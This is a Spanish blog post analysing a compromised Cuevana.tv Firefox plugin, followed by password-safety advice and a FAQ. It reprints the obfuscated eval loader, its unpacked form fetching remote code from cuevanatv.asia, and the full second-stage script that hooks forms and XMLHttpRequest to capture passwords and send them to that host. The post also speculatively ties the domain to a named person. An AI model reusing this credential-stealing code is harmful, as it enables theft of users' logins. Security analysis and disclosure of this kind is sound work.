Cuevana.tv y su plugin espia

Cuevana.tv es un reconocido sitio de películas que permite hacer streaming gratuito de los últimos estrenos de Hollywood con mucha comodidad, para lograr esta "comodidad" para el usuario, es necesario instalar un plugin en nuestro navegador, que permitía tomar las películas que cuevana.tv almacenaba en servidores de descarga gratuita como fuente para realizar streaming desde ellos.

Gracias a @Ursack me entero que precisamente este plugin se ha vuelto noticia, luego de que el usuario RME de Foro Coches iniciara un hilo donde ponía en evidencia un código malicioso que se encontraba dentro del plugin de cuevana y que enviaba información del usuario al dominio CUEVANATV.ASIA

(Click para Agrandar)

Lo primero que hice fué revisar mi propio plugin ya que a veces utilizo el servicio de cuevana, pero como lo había instalado hace mas de un mes no tenia el código malicioso del que todos hablan, me metí a la pagina oficial a descargar el plugin y descargué una copia para compararla con la mía. Le cambio el nombre a los plugins para identificarlos fácilmente y procedo a descomprimirlos, recuerden que los plugins de Firefox son básicamente archivos comprimidos con extensión xpi.

(Click para Agrandar)

Básicamente los 2 plugins son iguales, lo único que cambia entre versión y versión es una línea en el archivo content/script-compiler.js que solo aparece en la versión infectada.

(Click para Agrandar)

La línea en cuestión esta empaquetada para que no pueda ser leída tan fácilmente, por lo que de entrada genera sospechas:

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c language=".toString(a)"][/c]=k[c][/c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c][/c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c][/c])}}return p}('6 0=7 5();0.4(\'1\',\'2://3.8/h.9?\'+g.e(),d);0.a(b);c(0.f);',18,18,'r|GET|http|cuevanatv|open|XMLHttpRequest|var|new|asia|js|send|null|eval|false|random|responseText|Math|back3'.split('|'),0,{}))

Por tanto lo primero que haremos será utilizar nuestro desempaquetador preferido para ver mas claramente que es lo que hace el código:

ar r = new XMLHttpRequest();
r.open(‘GET’, ‘http://cuevanatv.asia/back3.js?’ + Math.random(), false);
r.send(null);
eval(r.responseText);

Como pueden ver se hace un llamado a un código JavaScript, al que desgraciadamente no pude acceder por que en el momento que escribo este articulo el dominio cuevanantv.asia, (curiosamente registrado a nombre de María Helena Chávez, la esposa de un político Argentino... que puede dar pistas sobre la procedencia del atacante...) se encontraba fuera de servicio.

Afortunadamente los chicos de forocoches alcanzaron a tener acceso a este script, entre otros scripts almacenados en cuevanantv.asia y esto fué lo que encontraron:

    var r = new XMLHttpRequest();
    r.open('GET', "http://cuevanatv.asia/scripts.txt", false);
    r.send(null);
    if (r.status == 200) eval(r.responseText);
    OSid = Components.classes['@mozilla.org/xre/app-info;1'].getService(Components.interfaces.nsIXULRuntime).OS;
    OSid = (OSid == 'Darwin') ? 3 : ((OSid == 'WINNT') ? 2 : ((OSid == 'Linux') ? 1 : 0));

    function _sData(datos, url) {
        var r = new XMLHttpRequest;
        r.open("POST", "http://cuevanatv.asia/add.php", true);
        r.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        r.send("d=" + datos + "&o=" + OSid + "&u=" + url);
    }
    Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService).addObserver({
        observe: function (aWindow, aTopic, aData) {
            if (aWindow instanceof Ci.nsIDOMWindow && aTopic == 'content-document-global-created') {
                var win = aWindow.wrappedJSObject;
                win.addEventListener("submit",

                function (e) {
                    datos = [];
                    enviar = false;
                    for each(i in e.target.elements) {
                        if (i.type == 'password') enviar = true;
                        if (i.type != 'hidden' && i.type != 'submit' && i.type != undefined) datos.push(i.name + "::" + i.value);
                    }
                    if (enviar) _sData(datos.join(":_:"), win.location.href);
                }, false);
                var xmlhr = new Object();
                xmlhr.open = win.XMLHttpRequest.prototype.open;
                xmlhr.send = win.XMLHttpRequest.prototype.send;
                if (win.location.host.indexOf("facebook.com") == -1) {
                    win.XMLHttpRequest.prototype.open = function (a, b) {
                        a = (!a) ? '' : a;
                        b = (!b) ? '' : b;
                        xmlhr.open.apply(this, arguments);
                        xmlhr.metodo = a.toLowerCase();
                        xmlhr.url = b;
                        if (xmlhr.metodo == 'get') xmlhr.datos = b.split("?")[1];
                    }
                    win.XMLHttpRequest.prototype.send = function (a, b) {
                        a = (!a) ? '' : a;
                        b = (!b) ? '' : b;
                        xmlhr.send.apply(this, arguments);
                        if (xmlhr.metodo == 'post') xmlhr.datos = a;
                        xmlhr.callback();
                    }
                }
                xmlhr.callback = function () {
                    enviar = false;
                    activadores = ["pass", "pss", "clave", "contra"];
                    for each(dato in this.datos.split("&")) {
                        for each(activador in activadores) {
                            if (dato.split("=")[0].indexOf(activador) > -1) enviar = true;
                        }
                    }
                    if (enviar) _sData(this.datos.split("&").join(":_:").split("=").join("::"), win.location.href);
                }
                win.addEventListener("DOMContentLoaded", function (e) {
                    for (site in scripts) {
                        if (win.location.host.indexOf(site) > -1) {
                            var r = new XMLHttpRequest();
                            r.open('GET', scripts[site], false);
                            r.send(null);
                            if (r.status == 200) eval(r.responseText);
                        }
                    }
                }, false);
            }
        }
    }, 'content-document-global-created', false);

En resumidas cuentas lo que hace ese script es enviar los datos de los formularios que llenemos y cumplan con unos parámetros específicos a un servidor donde serán almacenados para su posterior uso por una persona mal intencionada, en el siguiente video podemos ver el funcionamiento del plugin infectados y como enviaba los datos atravez de nuestro navegador.

Con lo que se confirma que efectivamente el plugin de Cuevana.tv para hacer streaming de películas gratis, tenia un código malicioso que robaba información sensible, además de código especifico para hacer pishing a varias entidades bancarias.

El administrador de Cuevana.tv aunque tuvo conductas sospechosas, como eliminar el código malicioso del plugin sin notificar a nadie, ni aumentar la versión del mismo, aseguró desde la cuenta oficial de cuevana.tv en twitter (tan pronto la noticia se dio a conocer por menéame) que nunca harían eso a sus usuarios...

Al parecer cuevana.tv fué vulnerado (de nuevo,,,), y lograron inyectar ese código en el plugin del sitio, ellos afirman que investigarán el caso y mas les vale, por que todos sus usuarios estaremos ansiosos de ver los resultados de esta investigación, para descartar una mala intención directamente de los creadores de cuevana.tv

Índice

Conclusiones y Recomendaciones sobre el plugin espía de cuevana.tv

  • La conclusión mas importante que te debes llevar es que no instales plugins en tu navegador de dudosa procedencia, siempre busca comentarios de otras personas sobre el plugin y descargalo siempre que sea posible, de la pagina de complementos oficial de tu navegador.
  • Cambia TODAS las contraseñas de tus servicios web, es muy posible que una persona mal intencionada ya cuente con ellas y al verse descubierto/a intentara sacar el máximo jugo a su botín en el menor tiempo posible.
  • Utiliza contraseñas diferentes para todos tus servicios, ya vimos como cuevana.tv fue vulnerado y si lograron modificar archivos en el servidor, podrían acceder a toda la base de datos de usuarios, ¿tienes la misma clave que usas en cuevana para otro servicio?... ¿ya entiendes por que es importante usar una clave para cada cosa?

Les recomiendo los siguientes artículos que también hablan del tema:

¿Cuevana tiene virus?

Cuevana.tv no tiene virus en sí mismo, pero es importante tomar precauciones al usar la plataforma para garantizar la seguridad ya que como vemos en el articulo, algunas versiones de los plugins de cuevana oficial usados para entrar a cuevana han sido comprometidos anteriormente..

¿Por qué se dice que Cuevana tiene virus?

Se ha difundido el rumor de que Cuevana tiene virus debido a la presencia ocasional de anuncios y enlaces maliciosos en el sitio. Estos anuncios pueden redirigir a sitios web peligrosos o descargar archivos infectados en el dispositivo del usuario.

¿Cómo puedo protegerme al usar Cuevana?

Para protegerte al utilizar Cuevana, se recomienda tener un buen antivirus actualizado y un bloqueador de anuncios. Evita la instalación de plugins o programas no confiables y no hagas clic en enlaces sospechosos o desconocidos.

¿Qué ventajas ofrece Cuevana.tv?

Cuevana.tv ofrece un amplio catálogo de películas y series de alta calidad, una interfaz amigable y la posibilidad de ver contenido en alta definición en sitios como cuevana tv.

¿Qué es el "cuevana virus"?

El "cuevana virus" es un término que se utiliza para buscar el plugin espía en Cuevana.tv. Aunque se ha reportado este comportamiento malicioso en un plugin específico haciendo cosas como entrar a cuevana, no significa que todas las versiones de Cuevana tengan esto. Se debe ser cauteloso, pero no todas las versiones pueden estar comprometidas de la misma manera.

Si quieres echarle un ojo al plugin sano vs el infectado te dejo los archivos en este enlace, espero que les gustara el post, no olviden dejar sus comentarios e informar a sus amigos sobre este problema para que no se vean perjudicados.

Subir